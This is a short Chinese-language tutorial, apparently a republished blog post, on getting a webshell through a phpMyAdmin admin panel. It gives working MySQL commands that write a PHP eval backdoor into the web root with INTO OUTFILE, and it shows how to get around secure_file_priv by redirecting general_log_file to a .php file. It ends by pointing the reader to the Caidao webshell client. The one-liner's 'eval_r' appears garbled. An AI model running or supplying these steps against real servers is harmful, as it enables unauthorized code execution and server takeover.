網站后台getshell


phpmyadmin后台Getshell

獲取 web 絕對路徑

select @@basedir;

檢測是否有寫入權限

show global variables like 'secure%' ##查看secure_file_priv值,結果若為NULL,則不能使用loadfile,into outfile進行讀寫文件

寫入webshell

secure_file_priv為空

select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\\soft\\phpStudy\\www\\eval.php'

secure_file_priv為路徑

  • 值為路徑時,只能webshell寫入此路徑
  • 值為null時,不能寫入webshell

突破 secure_file_priv限制

mysql中有兩個全局變量是我們getshell需要用到的重要變量:
general_log
general_log_file

general_log 是mysql中記錄sql操作的日志,所有的查詢語句會記錄在一個日志文件中,但因為時間長了會導致日志文件非常大,所以默認為關閉,有時候在管理員需要進行排錯時才會暫時性的打開這個變量
show variables like 'general_log%';

 

首先打開操作日志記錄

set global general_log = 'ON';

設置操作記錄日志路徑

set global general_log_file='D:\\phpstudy\\WWW\\e.php'

執行sql語句,將webshell執行的語句內容記錄到文件中,就可以getshell了

select '<?php phpinfo();?>'

然后用菜刀訪問e.php就行了

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM